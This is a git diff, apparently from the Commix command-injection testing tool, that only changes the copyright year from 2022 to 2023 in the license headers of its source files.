.../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 2 +- src/core/modules/__init__.py | 2 +- src/core/modules/modules_handler.py | 2 +- src/core/modules/shellshock/__init__.py | 2 +- src/core/requests/__init__.py | 2 +- src/core/requests/authentication.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 2 +- src/core/requests/proxy.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/core/shells/__init__.py | 2 +- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 2 +- src/core/tamper/__init__.py | 2 +- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/base64encode.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/hexencode.py | 2 +- src/core/tamper/multiplespaces.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/printf2echo.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2htab.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/space2plus.py | 2 +- src/core/tamper/space2vtab.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/core/tamper/xforwardedfor.py | 2 +- src/core/testing.py | 2 +- src/thirdparty/__init__.py | 2 +- src/utils/__init__.py | 2 +- src/utils/colors.py | 2 +- src/utils/common.py | 2 +- src/utils/crawler.py | 2 +- src/utils/install.py | 2 +- src/utils/logs.py | 2 +- src/utils/menu.py | 2 +- src/utils/purge.py | 2 +- src/utils/requirments.py | 2 +- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- src/utils/simple_http_server.py | 2 +- src/utils/update.py | 2 +- src/utils/version.py | 2 +- 101 files changed, 103 insertions(+), 103 deletions(-) diff --git a/LICENSE.txt b/LICENSE.txt index 1fcc28efab..90437c6163 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2022 Anastasios Stasinopoulos +Copyright (c) 2014-2023 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/commix.py b/commix.py index 3d1b518bf2..538de6f371 100755 --- a/commix.py +++ b/commix.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/setup.py b/setup.py index 16a0a4cc33..5e356a3ae1 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/__init__.py b/src/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/__init__.py b/src/core/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/compat.py b/src/core/compat.py index 48af6f3a36..9a0d60c0f1 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/convert.py b/src/core/convert.py index fad3bae9d9..c14585bf28 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/__init__.py +++ b/src/core/injections/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/__init__.py +++ b/src/core/injections/blind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/injections/blind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/injections/blind/techniques/time_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 572f1d6632..919491f8af 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 07506097cd..2615931ce5 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9c42254ef7..7848b9c0c2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index e4615528d2..d52e1ff449 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index b119491275..6203f83e7b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/controller/__init__.py +++ b/src/core/injections/controller/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 73bb05db70..276a9dac2a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8cba07791f..b269673d58 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a4d7ea7c93..ed24231325 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index febae03580..d88e06b65a 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 8c5b302ec0..93aff44a50 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 88bfc902bf..571c998fcd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 976e32277d..5d741557a8 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c0feaad338..01e7b3de25 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index ca13a188f9..769defe8f7 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/results_based/techniques/eval_based/__init__.py +++ b/src/core/injections/results_based/techniques/eval_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 439181a3bf..c4ba704b92 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 86d0a3040b..dc72f6183e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index ada5cb7ac5..0a2d8d7619 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index ceb42396fb..8fd3a8cd04 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 0b30bc8f5f..f74103f731 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 50000cb500..f2f70c50d8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 45d85f4a71..a030190b34 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 16ba4b9c15..edb2c4b94e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index fe1a12e63e..18af48a258 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index ada7d25040..390b88ee39 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index d8ad42ca0c..02832e9f77 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index a588bd3efe..74008aa710 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 20150f3a53..87798a7129 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 6f78449373..11f0e12f70 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index f68e0a11d8..88f76366a1 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 3bb52ca98c..6a4d0ee58b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index e604f25695..ed8e5536a8 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 7ce1185b92..4b64c163e0 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU 